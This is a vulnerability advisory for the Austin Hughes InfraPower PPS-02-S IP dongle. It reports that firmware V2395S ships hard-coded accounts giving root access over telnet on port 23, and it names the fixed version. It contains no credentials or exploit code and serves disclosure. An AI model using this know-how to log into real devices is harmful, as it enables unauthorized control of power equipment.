InfraPower PPS-02-S Q213V1 Hard-coded Credentials Remote Root Access
|
|
|
|
|
|
Vendor: Austin Hughes Electronics Ltd.
|
|
Product web page: http://www.austin-hughes.com
|
|
Affected version: Q213V1 (Firmware: V2395S)
|
|
Fixed version: Q216V3 (Firmware: IPD-02-FW-v03)
|
|
|
|
Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
|
|
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
|
|
Patented IP Dongle provides IP remote access to the PDUs by a true
|
|
network IP address chain. Only 1xIP dongle allows access to max. 16
|
|
PDUs in daisy chain - which is a highly efficient cient application
|
|
for saving not only the IP remote accessories cost, but also the true
|
|
IP addresses required on the PDU management.
|
|
|
|
Desc: InfraPower suffers from a use of hard-coded credentials. The IP
|
|
dongle firmware ships with hard-coded accounts that can be used to gain
|
|
full system access (root) using the telnet daemon on port 23.
|
|
|
|
Tested on: Linux 2.6.28 (armv5tel)
|
|
lighttpd/1.4.30-devel-1321
|
|
PHP/5.3.9
|
|
SQLite/3.7.10
